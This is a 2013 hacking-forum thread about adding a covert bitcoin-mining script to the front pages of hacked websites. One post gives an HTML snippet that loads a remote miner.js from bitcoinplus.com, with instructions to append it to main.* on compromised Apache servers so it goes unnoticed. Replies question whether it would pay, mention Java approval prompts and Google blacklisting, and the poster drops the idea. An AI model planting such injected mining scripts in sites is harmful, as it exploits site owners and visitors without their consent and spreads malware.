Money 4 Hack - Mining bitcoins from hacked sites

3SidedSquare · 01-22-2013, 06:27 AM

While pursuing the internet, I came across this little site:
http://www.bitcoinplus.com
More specifically, this page:
http://www.bitcoinplus.com/miner/embeddable

So I had this crazy idea to create a shell that would automatically add script to the front page of a website to start bitcoin mining, while leaving everything else untouched (hopefully not noticed).

Thoughts?

Phytrix · 01-22-2013, 06:30 AM

That's a good idea. Can you shell it though?

3SidedSquare · 01-22-2013, 06:46 AM

I don't see why not, assuming the server is running apache,

look for main.*
Insert
Code:
<HTML><script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script> <script src="http://www.bitcoinplus.com/js/miner.js" type="text/javascript"></script> <script type="text/javascript">BitcoinPlusMiner("donny@bitcoinplus.com", {toVisitor: 30})</script></HTML>
to the end of the file.

How hard can it be?

w00t · 01-22-2013, 06:59 AM

For one, you won't likely get much money from it, java isn't known for it's speed, and it'll only be active as long as the page is up.

The user also has to approve a java applet running, which most people won't do if they don't see a reason to.

3SidedSquare · 01-22-2013, 07:20 AM

Alright, fair enough, but still better than a deface page.

Besides, if a user goes to a site often, he's likely to allow it to run java, no?

pac · 01-22-2013, 09:50 AM

IMO, depends how stupid he is. Every people that know what JDB is will report the "flaw" to site administrator. I've tried to do it on my blog and my site got blacklisted from google for malware distribution. Sad

Phytrix · 01-22-2013, 10:39 AM

(01-22-2013, 07:20 AM)3SidedSquare Wrote: Alright, fair enough, but still better than a deface page.

Besides, if a user goes to a site often, he's likely to allow it to run java, no?

If a user goes to a site often, he's probably likely to be suspicious when it asks to run Java.

3SidedSquare · 01-23-2013, 06:19 AM

I suppose it's not worth pursuing, thanks for the brainpower, and happy hacking.